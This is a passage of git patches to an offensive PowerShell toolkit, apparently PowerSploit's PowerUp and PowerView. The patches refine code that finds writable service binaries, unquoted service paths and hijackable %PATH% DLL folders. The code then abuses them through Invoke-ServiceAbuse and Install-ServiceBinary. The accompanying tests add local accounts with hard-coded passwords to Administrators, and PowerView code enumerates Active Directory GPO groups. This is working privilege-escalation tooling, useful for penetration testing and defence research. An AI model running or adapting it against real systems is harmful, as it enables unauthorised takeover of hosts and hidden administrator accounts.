-Name PowerUp From e83cfae7981d970ca138566d2d5214cbd573494e Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sat, 4 Jun 2016 22:06:21 -0400 Subject: [PATCH 156/296] Get-ModifiablePath now also checks parent folders of files for modification Bug fixes Corrected PowerUp Pester tests Changed 'Path' field to 'ModifiablePath' in 'Get-ModifiablePath' Get-ServiceUnquoted now filters paths through Get-ModifiablePath --- Privesc/PowerUp.ps1 | 130 +++++++++++++++++++++++------- Tests/Privesc.tests.ps1 | 173 ++++++++++++++++++++++------------------ 2 files changed, 193 insertions(+), 110 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 4071f6a7..447ce611 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -763,6 +763,10 @@ function Get-ModifiablePath { The string path to parse for modifiable files. Required + .PARAMETER LiteralPaths + + Switch. Treat all paths as literal (i.e. don't do 'tokenization'). + .EXAMPLE PS C:\> '"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath @@ -788,7 +792,10 @@ function Get-ModifiablePath { [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] [Alias('FullName')] [String[]] - $Path + $Path, + + [Switch] + $LiteralPaths ) BEGIN { @@ -835,9 +842,52 @@ function Get-ModifiablePath { # possible separator character combinations $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ") - ForEach($SeparationCharacterSet in $SeparationCharacterSets) { - $CandidatePaths += $TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object { - Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path + if($PSBoundParameters['LiteralPaths']) { + + $TempPath = $([System.Environment]::ExpandEnvironmentVariables($TargetPath)) + + if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) { + $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path + } + else { + # if the path doesn't exist, check if the parent folder allows for modification + try { + $ParentPath = Split-Path $TempPath -Parent + if($ParentPath -and (Test-Path -Path $ParentPath)) { + $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path + } + } + catch { + # because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely + } + } + } + else { + ForEach($SeparationCharacterSet in $SeparationCharacterSets) { + $TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object { + if(($SeparationCharacterSet -notmatch ' ')) { + $TempPath = $([System.Environment]::ExpandEnvironmentVariables($_)) + + if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) { + $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path + } + else { + # if the path doesn't exist, check if the parent folder allows for modification + try { + $ParentPath = Split-Path $TempPath -Parent + if($ParentPath -and (Test-Path -Path $ParentPath )) { + $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path + } + } + catch { + # because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely + } + } + } + else { + $CandidatePaths += Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path + } + } } } @@ -850,7 +900,7 @@ function Get-ModifiablePath { $Permissions = $AccessMask.Keys | Where-Object { $FileSystemRights -band $_ } | ForEach-Object { $accessMask[$_] } # the set of permission types that allow for modification - $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile') -IncludeEqual -ExcludeDifferent + $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile', 'AppendData/AddSubdirectory') -IncludeEqual -ExcludeDifferent if($Comparison) { if ($_.IdentityReference -notmatch '^S-1-5.*') { @@ -867,7 +917,7 @@ function Get-ModifiablePath { if($CurrentUserSids -contains $IdentitySID) { New-Object -TypeName PSObject -Property @{ - Path = $CandidatePath + ModifiablePath = $CandidatePath IdentityReference = $_.IdentityReference Permissions = $Permissions } @@ -924,7 +974,7 @@ function Get-CurrentUserTokenGroupSid { [UInt32]$RealSize = 0 - # query the current process token with the 'TokenGroups=' constant to retrieve a TOKEN_GROUPS structure + # query the current process token with the 'TokenGroups=2' TOKEN_INFORMATION_CLASS enum to retrieve a TOKEN_GROUPS structure $Success2 = $Advapi32::GetTokenInformation($hProcToken, 2, $TokenGroupsPtr, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if($Success2) { @@ -1389,24 +1439,29 @@ function Get-ServiceUnquoted { $VulnServices = Get-WmiObject -Class win32_service | Where-Object {$_} | Where-Object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne '')} | Where-Object { (-not $_.pathname.StartsWith("`"")) -and (-not $_.pathname.StartsWith("'"))} | Where-Object {($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf(".exe") + 4)) -match ".* .*"} if ($VulnServices) { - ForEach ($Service in $VulnServices){ + ForEach ($Service in $VulnServices) { - $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name + $ModifiableFiles = $Service.pathname | Get-ModifiablePath - if($ServiceRestart) { - $CanRestart = $True - } - else { - $CanRestart = $False - } + $ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object { + $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ServiceName' $Service.name - $Out | Add-Member Noteproperty 'Path' $Service.pathname - $Out | Add-Member Noteproperty 'StartName' $Service.startname - $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -ServicePath " - $Out | Add-Member Noteproperty 'CanRestart' $CanRestart - $Out + if($ServiceRestart) { + $CanRestart = $True + } + else { + $CanRestart = $False + } + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $Service.name + $Out | Add-Member Noteproperty 'Path' $Service.pathname + $Out | Add-Member Noteproperty 'ModifiablePath' $_ + $Out | Add-Member Noteproperty 'StartName' $Service.startname + $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -ServicePath " + $Out | Add-Member Noteproperty 'CanRestart' $CanRestart + $Out + } } } } @@ -1453,7 +1508,7 @@ function Get-ModifiableServiceFile { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceName $Out | Add-Member Noteproperty 'Path' $ServicePath - $Out | Add-Member Noteproperty 'ModifiableFile' $_.Path + $Out | Add-Member Noteproperty 'ModifiableFile' $_.ModifiablePath $Out | Add-Member Noteproperty 'ModifiableFilePermissions' $_.Permissions $Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference $Out | Add-Member Noteproperty 'StartName' $ServiceStartName @@ -1750,6 +1805,7 @@ function Invoke-ServiceAbuse { } $TargetService | Start-Service -ErrorAction SilentlyContinue + Start-Sleep -Seconds 2 } if($PSBoundParameters['Force']) { @@ -1760,7 +1816,7 @@ function Invoke-ServiceAbuse { } Write-Verbose "Restoring original path to service '$($TargetService.Name)'" - + Start-Sleep -Seconds 1 $Success = $TargetService | Set-ServiceBinPath -binPath "$OriginalServicePath" if (-not $Success) { @@ -1775,6 +1831,7 @@ function Invoke-ServiceAbuse { elseif($OriginalServiceState -eq "Paused") { Write-Verbose "Starting and then pausing service '$($TargetService.Name)'" $TargetService | Start-Service + Start-Sleep -Seconds 1 $TargetService | Set-Service -Status Paused -ErrorAction Stop } elseif($OriginalServiceState -eq "Stopped") { @@ -2101,13 +2158,13 @@ function Install-ServiceBinary { $ServiceDetails = $TargetService | Get-ServiceDetail - $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath + $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -LiteralPaths if(-not $ModifiableFiles) { throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user." } - $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty Path + $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath $BackupPath = "$($ServicePath).bak" Write-Verbose "Backing up '$ServicePath' to '$BackupPath'" @@ -2185,13 +2242,13 @@ function Restore-ServiceBinary { $ServiceDetails = $TargetService | Get-ServiceDetail - $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath + $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -LiteralPaths if(-not $ModifiableFiles) { throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user." } - $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty Path + $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath $BackupPath = "$($ServicePath).bak" Copy-Item -Path $BackupPath -Destination $ServicePath -Force @@ -2310,7 +2367,7 @@ function Find-ProcessDLLHijack { $TargetProcess = Get-Process -Name $ProcessName - if($TargetProcess.Path -and ($TargetProcess.Path -ne '')) { + if($TargetProcess -and $TargetProcess.Path -and ($TargetProcess.Path -ne '') -and ($TargetProcess.Path -ne $Null)) { try { $BasePath = $TargetProcess.Path | Split-Path -Parent @@ -2391,7 +2448,18 @@ function Find-PathDLLHijack { [CmdletBinding()] Param() - Get-Item Env:Path | Select-Object -ExpandProperty Value | ForEach-Object { $_.split(';') } | Where-Object {$_ -and ($_ -ne '')} | Get-ModifiablePath + # use -LiteralPaths so the spaces in %PATH% folders are not tokenized + Get-Item Env:Path | Select-Object -ExpandProperty Value | ForEach-Object { $_.split(';') } | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { + $TargetPath = $_ + + $ModifidablePaths = $TargetPath | Get-ModifiablePath -LiteralPaths | Where-Object {$_ -and ($_ -ne $Null) -and ($_.ModifiablePath -ne $Null) -and ($_.ModifiablePath.Trim() -ne '')} + ForEach($ModifidablePath in $ModifidablePaths) { + if($ModifidablePath.ModifiablePath -ne $Null) { + $ModifidablePath | Add-Member Noteproperty '%PATH%' $_ + $ModifidablePath + } + } + } } @@ -3572,7 +3640,7 @@ function Invoke-AllChecks { "`n`n[*] Checking %PATH% for potentially hijackable DLL locations..." $Results = Find-PathDLLHijack $Results | Foreach-Object { - $AbuseString = "Write-HijackDll -DllPath '$($_.Path)\wlbsctrl.dll'" + $AbuseString = "Write-HijackDll -DllPath '$($_.ModifiablePath)\wlbsctrl.dll'" $_ | Add-Member Noteproperty 'AbuseFunction' $AbuseString $_ } | Format-List diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index 62aad67d..b2478dea 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -38,8 +38,8 @@ Describe 'Get-ModifiablePath' { try { $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 - if ($Output.PSObject.Properties.Name -notcontains 'Path') { - Throw "Get-ModifiablePath result doesn't contain 'Path' field." + if ($Output.PSObject.Properties.Name -notcontains 'ModifiablePath') { + Throw "Get-ModifiablePath result doesn't contain 'ModifiablePath' field." } if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { @@ -61,7 +61,7 @@ Describe 'Get-ModifiablePath' { try { $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 - $Output.Path | Should Be $FilePath + $Output.ModifiablePath | Should Be $FilePath } finally { $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue @@ -92,20 +92,13 @@ Describe 'Get-ModifiablePath' { try { $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 - $Output.Path | Should Be $FilePath + $Output.ModifiablePath | Should Be $FilePath } finally { $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue } } - It 'Should return no results for a non-existent path.' { - $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" - - $Output = Get-ModifiablePath -Path $FilePath - $Output | Should BeNullOrEmpty - } - It 'Should accept a path string over the pipeline.' { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" $Null | Out-File -FilePath $FilePath -Force @@ -514,19 +507,6 @@ Describe 'Get-ModifiableServiceFile' { $Null = Remove-Item -Path $ServicePath -Force } } - - It 'Should not return a service with a non-existent service binary.' { - $ServiceName = Get-RandomName - $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" - - sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' - - $Output = Get-ModifiableServiceFile | Where-Object { $_.ServiceName -eq $ServiceName } - - $Output | Should BeNullOrEmpty - - sc.exe delete $ServiceName | Should Match 'SUCCESS' - } } @@ -660,7 +640,7 @@ Describe 'Invoke-ServiceAbuse' { } It 'Should accept custom user/password arguments.' { - $Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Username PowerUp -Password 'PASSword123!' + $Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Username 'PowerUp' -Password 'PASSword123!' $Output.Command | Should Match 'net' if( -not ($(net localgroup Administrators) -match 'PowerUp')) { @@ -786,18 +766,22 @@ Describe 'Install-ServiceBinary' { } It 'Should accept custom user/password arguments.' { - $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username PowerUp -Password 'PASSword123!' - $Output.Command | Should Match 'net' + try { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username 'PowerUp' -Password 'PASSword123!' + $Output.Command | Should Match 'net' - $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue - Start-Sleep -Seconds 3 - if( -not ($(net localgroup Administrators) -match 'PowerUp')) { - Throw "Local user 'PowerUp' not created." - } - $Null = $(net user PowerUp /delete >$Null 2>&1) + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if( -not ($(net localgroup Administrators) -match 'PowerUp')) { + Throw "Local user 'PowerUp' not created." + } - $Output = Restore-ServiceBinary -ServiceName PowerUpService - "$(Get-Location)\powerup.exe.bak" | Should Not Exist + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + finally { + $Null = $(net user PowerUp /delete >$Null 2>&1) + } } It 'Should accept a credential object.' { @@ -820,33 +804,41 @@ Describe 'Install-ServiceBinary' { } It 'Should accept an alternate LocalGroup.' { - $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username PowerUp -Password 'PASSword123!' -LocalGroup 'Guests' - $Output.Command | Should Match 'net' + try { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username 'PowerUp' -Password 'PASSword123!' -LocalGroup 'Guests' + $Output.Command | Should Match 'net' - $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue - Start-Sleep -Seconds 3 - if( -not ($(net localgroup Guests) -match 'PowerUp')) { - Throw "Local user 'PowerUp' not created." - } - $Null = $(net user PowerUp /delete >$Null 2>&1) + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if( -not ($(net localgroup Guests) -match 'PowerUp')) { + Throw "Local user 'PowerUp' not created." + } - $Output = Restore-ServiceBinary -ServiceName PowerUpService - "$(Get-Location)\powerup.exe.bak" | Should Not Exist + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + finally { + $Null = $(net user PowerUp /delete >$Null 2>&1) + } } It 'Should accept a custom command.' { - $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Command "net user testing Password123! /add" - $Output.Command | Should Match 'net' + try { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Command "net user testing Password123! /add" + $Output.Command | Should Match 'net' - $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue - Start-Sleep -Seconds 3 - if( -not ($(net user) -match "testing")) { - Throw "Custom command failed." + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if( -not ($(net user) -match "testing")) { + Throw "Custom command failed." + } + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + finally { + $Null = $(net user testing /delete >$Null 2>&1) } - $Null = $(net user testing /delete >$Null 2>&1) - - $Output = Restore-ServiceBinary -ServiceName PowerUpService - "$(Get-Location)\powerup.exe.bak" | Should Not Exist } } @@ -883,30 +875,53 @@ Describe 'Find-PathDLLHijack' { New-Item -Path 'C:\PowerUpTest\' -ItemType directory -Force - try { - $OldPath = $Env:PATH - $Env:PATH += ';C:\PowerUpTest\' + $OldPath = $Env:PATH + $Env:PATH += ';C:\PowerUpTest\' - $Output = Find-PathDLLHijack | Where-Object {$_.Path -like "*PowerUpTest*"} | Select-Object -First 1 + $Output = Find-PathDLLHijack | Where-Object {$_.ModifiablePath -like "*PowerUpTest*"} | Select-Object -First 1 - $Env:PATH = $OldPath + $Env:PATH = $OldPath - $Output.Path | Should Be 'C:\PowerUpTest\' + $Output.ModifiablePath | Should Be 'C:\PowerUpTest\' - if ($Output.PSObject.Properties.Name -notcontains 'Path') { - Throw "Find-PathDLLHijack result doesn't contain 'Path' field." - } + if ($Output.PSObject.Properties.Name -notcontains '%PATH%') { + Throw "Find-PathDLLHijack result doesn't contain '%PATH%' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'ModifiablePath') { + Throw "Find-PathDLLHijack result doesn't contain 'ModifiablePath' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Find-PathDLLHijack result doesn't contain 'Permissions' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Find-PathDLLHijack result doesn't contain 'IdentityReference' field." + } - if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { - Throw "Find-PathDLLHijack result doesn't contain 'Permissions' field." - } + $Null = Remove-Item -Recurse -Force 'C:\PowerUpTest\' -ErrorAction SilentlyContinue + } - if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') { - Throw "Find-PathDLLHijack result doesn't contain 'IdentityReference' field." - } + It "Should find a hijackable %PATH% folder that doesn't yet exist." { + + $OldPath = $Env:PATH + $Env:PATH += ';C:\PowerUpTest\' + + $Output = Find-PathDLLHijack | Where-Object {$_.'%PATH%' -eq 'C:\PowerUpTest\'} | Select-Object -First 1 + + $Env:PATH = $OldPath + + $Output.ModifiablePath | Should Be 'C:\' + + if ($Output.PSObject.Properties.Name -notcontains '%PATH%') { + Throw "Find-PathDLLHijack result doesn't contain 'ModifiablePath' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'ModifiablePath') { + Throw "Find-PathDLLHijack result doesn't contain 'ModifiablePath' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Find-PathDLLHijack result doesn't contain 'Permissions' field." } - catch { - $Null = Remove-Item -Recurse -Force 'C:\PowerUpTest\' -ErrorAction SilentlyContinue + if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Find-PathDLLHijack result doesn't contain 'IdentityReference' field." } } } @@ -968,9 +983,9 @@ Describe 'Get-ModifiableRegistryAutoRun' { $Null | Out-File -FilePath $FilePath -Force $Null = Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -Value "vuln.exe -i '$FilePath'" - $Output = Get-ModifiableRegistryAutoRun | Where-Object {$_.Path -like "*$FilePath*"} | Select-Object -First 1 + $Output = Get-ModifiableRegistryAutoRun | Where-Object {$_.ModifiableFile -like "*$FilePath*"} | Select-Object -First 1 - $Output.ModifiableFile.Path | Should Be $FilePath + $Output.ModifiableFile.ModifiablePath | Should Be $FilePath if ($Output.PSObject.Properties.Name -notcontains 'Key') { Throw "Get-ModifiableRegistryAutoRun result doesn't contain 'Key' field." @@ -982,8 +997,8 @@ Describe 'Get-ModifiableRegistryAutoRun' { Throw "Get-ModifiableRegistryAutoRun result doesn't contain 'ModifiableFile' field." } - if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'Path') { - Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'Path' field." + if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'ModifiablePath') { + Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'ModifiablePath' field." } if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'Permissions') { Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'Permissions' field." @@ -1027,7 +1042,7 @@ Describe 'Get-ModifiableScheduledTaskFile' { $Output = Get-ModifiableScheduledTaskFile | Where-Object {$_.TaskName -eq 'PowerUp'} | Select-Object -First 1 $Null = schtasks.exe /delete /tn PowerUp /f - $Output.TaskFilePath.Path | Should Be $FilePath + $Output.TaskFilePath.ModifiablePath | Should Be $FilePath if ($Output.PSObject.Properties.Name -notcontains 'TaskName') { Throw "Get-ModifiableScheduledTaskFile result doesn't contain 'TaskName' field." @@ -1039,8 +1054,8 @@ Describe 'Get-ModifiableScheduledTaskFile' { Throw "Get-ModifiableScheduledTaskFile result doesn't contain 'TaskTrigger' field." } - if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'Path') { - Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'Path' field." + if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'ModifiablePath') { + Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'ModifiablePath' field." } if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'Permissions') { Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'Permissions' field." From f6ee5cb92ee7c037e57f5b09bc01340efea59283 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 6 Jun 2016 06:21:02 -0400 Subject: [PATCH 157/296] Rewrote/corrected logic for Get-NetGPOGroup, Find-GPOLocation, and Find-GPOComputerAdmin Rewrote/corrected logic for Find-GPOLocation Added Get-IniContent and rewrote Get-GptTmpl to use Get-IniContent to parse GptTmpl.inf files Rewrote Get-GroupsXML to not resolve SIDs and return the same object type as Get-GptTmpl --- Recon/PowerView.ps1 | 574 ++++++++++++++++++++++---------------------- 1 file changed, 293 insertions(+), 281 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index dbf2ea75..2922539a 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -714,6 +714,57 @@ function struct # ######################################################## +filter Get-IniContent { +<# + .SYNOPSIS + + This helper parses an .ini file into a proper PowerShell object. + + Author: 'The Scripting Guys' + Link: https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ + + .LINK + + https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ +#> + [CmdletBinding()] + Param( + [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('FullName')] + [ValidateScript({ Test-Path -Path $_ })] + [String[]] + $Path + ) + + ForEach($TargetPath in $Path) { + $IniObject = @{} + Switch -Regex -File $TargetPath { + "^\[(.+)\]" # Section + { + $Section = $matches[1].Trim() + $IniObject[$Section] = @{} + $CommentCount = 0 + } + "^(;.*)$" # Comment + { + $Value = $matches[1].Trim() + $CommentCount = $CommentCount + 1 + $Name = 'Comment' + $CommentCount + $IniObject[$Section][$Name] = $Value + } + "(.+?)\s*=(.*)" # Key + { + $Name, $Value = $matches[1..2] + $Name = $Name.Trim() + $Values = $Value.split(',') | ForEach-Object {$_.Trim()} + if($Values -isnot [System.Array]) {$Values = @($Values)} + $IniObject[$Section][$Name] = $Values + } + } + $IniObject + } +} + filter Export-PowerViewCSV { <# .SYNOPSIS @@ -891,8 +942,7 @@ filter Convert-SidToName { # try to resolve any built-in SIDs first # from https://support.microsoft.com/en-us/kb/243330 - Switch ($SID2) - { + Switch ($SID2) { 'S-1-0' { 'Null Authority' } 'S-1-0-0' { 'Nobody' } 'S-1-1' { 'World Authority' } @@ -5989,46 +6039,13 @@ function Get-GptTmpl { else { $TargetGptTmplPath = $GptTmplPath } + Write-Verbose "GptTmplPath: $GptTmplPath" } process { - $SectionName = '' - $SectionsTemp = @{} - $SectionsFinal = @{} - try { Write-Verbose "Parsing $TargetGptTmplPath" - - Get-Content $TargetGptTmplPath -ErrorAction Stop | ForEach-Object { - if ($_ -match '\[') { - # this signifies that we're starting a new section - $SectionName = $_.trim('[]') -replace ' ','' - } - elseif($_ -match '=') { - $Parts = $_.split('=') - $PropertyName = $Parts[0].trim() - $PropertyValues = $Parts[1].trim() - - if($PropertyValues -match ',') { - $PropertyValues = $PropertyValues.split(',') - } - - if(!$SectionsTemp[$SectionName]) { - $SectionsTemp.Add($SectionName, @{}) - } - - # add the parsed property into the relevant Section name - $SectionsTemp[$SectionName].Add( $PropertyName, $PropertyValues ) - } - } - - ForEach ($Section in $SectionsTemp.keys) { - # transform each nested hash table into a custom object - $SectionsFinal[$Section] = New-Object PSObject -Property $SectionsTemp[$Section] - } - - # transform the parent hash table into a custom object - New-Object PSObject -Property $SectionsFinal + $TargetGptTmplPath | Get-IniContent -ErrorAction SilentlyContinue } catch { Write-Verbose "Error parsing $TargetGptTmplPath : $_" @@ -6054,10 +6071,6 @@ function Get-GroupsXML { The groups.xml file path name to parse. - .PARAMETER ResolveSids - - Switch. Resolve Sids from a DC policy to object names. - .PARAMETER UsePSDrive Switch. Mount the target groups.xml folder path as a temporary PSDrive. @@ -6069,9 +6082,6 @@ function Get-GroupsXML { [String] $GroupsXMLPath, - [Switch] - $ResolveSids, - [Switch] $UsePSDrive ) @@ -6105,93 +6115,58 @@ function Get-GroupsXML { process { try { - [xml] $GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop + [XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop # process all group properties in the XML $GroupsXMLcontent | Select-Xml "//Groups" | Select-Object -ExpandProperty node | ForEach-Object { - $Members = @() - $MemberOf = @() + $Groupname = $_.Group.Properties.groupName # extract the localgroup sid for memberof - $LocalSid = $_.Group.Properties.GroupSid - if(!$LocalSid) { - if($_.Group.Properties.groupName -match 'Administrators') { - $LocalSid = 'S-1-5-32-544' + $GroupSID = $_.Group.Properties.GroupSid + if(-not $LocalSid) { + if($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' } - elseif($_.Group.Properties.groupName -match 'Remote Desktop') { - $LocalSid = 'S-1-5-32-555' + elseif($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' } else { - $LocalSid = $_.Group.Properties.groupName + $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID } } - $MemberOf = @($LocalSid) - - $_.Group.Properties.members | ForEach-Object { - # process each member of the above local group - $_ | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { - if($_.sid) { - $Members += $_.sid - } - else { - # just a straight local account name - $Members += $_.name - } - } + # extract out members added to this group + $Members = $_.Group.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + if($_.sid) { $_.sid } + else { $_.name } } - if ($Members -or $Memberof) { + if ($Members) { + # extract out any/all filters...I hate you GPP - $Filters = $_.filters | ForEach-Object { - $_ | Select-Object -ExpandProperty Filter* | ForEach-Object { + if($_.Group.filters) { + $Filters = $_.Group.filters.GetEnumerator() | ForEach-Object { New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} } } - - if($ResolveSids) { - $Memberof = $Memberof | ForEach-Object { - $memof = $_ - if ($memof.StartsWith("S-1-")){ - try { - Convert-SidToName $memof - } - catch { - $memof - } - } - else { - $memof - } - } - $Members= $Members | ForEach-Object { - $member = $_ - if ($member.StartsWith("S-1-")) { - try { - Convert-SidToName $member - } - catch { - $member - } - } - else { - $member - } - } + else { + $Filters = $Null } - if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} - if($Members -isnot [system.array]) {$Members = @($Members)} + if($Members -isnot [System.Array]) { $Members = @($Members) } - $GPOProperties = @{ - 'GPOPath' = $TargetGroupsXMLPath - 'Filters' = $Filters - 'MemberOf' = $Memberof - 'Members' = $Members - } - - New-Object -TypeName PSObject -Property $GPOProperties + $GPOGroup = New-Object PSObject + $GPOGroup | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath + $GPOGroup | Add-Member Noteproperty 'Filters' $Filters + $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName + $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID + $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Null + $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Members + $GPOGroup } } } @@ -6613,8 +6588,7 @@ function Get-NetGPOGroup { <# .SYNOPSIS - Returns all GPOs in a domain that set "Restricted Groups" - or use groups.xml on on target machines. + Returns all GPOs in a domain that set "Restricted Groups" or use groups.xml on on target machines. .PARAMETER GPOname @@ -6624,10 +6598,6 @@ function Get-NetGPOGroup { The GPO display name to query for, wildcards accepted. - .PARAMETER ResolveSids - - Switch. Resolve Sids from a DC policy to object names. - .PARAMETER Domain The domain to 